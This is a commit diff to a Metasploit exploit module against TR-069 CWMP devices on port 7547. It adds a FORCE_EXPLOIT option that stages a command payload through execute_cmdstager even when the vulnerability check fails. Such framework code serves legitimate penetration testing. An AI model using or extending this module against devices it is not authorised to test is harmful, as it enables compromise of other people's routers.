Add a FORCE_EXPLOIT option for @FireFart
parent
57d156a5e2
commit
08b9684c1a
|
@ -57,6 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(7547), # TR-069 CWMP port for SOAP/XML commands
|
||||
OptBool::new('FORCE_EXPLOIT', [false, 'Force an attempt even if the check fails', nil])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
@ -116,14 +117,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
print_status("Trying to access the device...")
|
||||
print_status("#{peer} - Checking...")
|
||||
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
|
||||
if check == Exploit::CheckCode::Appears
|
||||
print_status("#{peer} - Appears vulnerable")
|
||||
execute_cmdstager({:flavor => :echo})
|
||||
elsif datastore['FORCE_EXPLOIT']
|
||||
print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
|
||||
execute_cmdstager({:flavor => :echo})
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
|
||||
end
|
||||
|
||||
print_status("Exploiting...")
|
||||
execute_cmdstager({:flavor => :echo})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue